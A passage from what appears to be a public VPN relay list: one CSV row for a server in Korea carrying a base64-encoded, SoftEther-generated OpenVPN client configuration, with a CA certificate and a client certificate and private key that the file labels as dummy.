IGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn863519683,121.189.189.178,716785,29,86328683,Korea Republic of,KR,0,95540195,232957,12840586955808,2weeks,DESKTOP-9LNFAMR's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMjEuMTg5LjE4OS4xNzggOTk1DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvc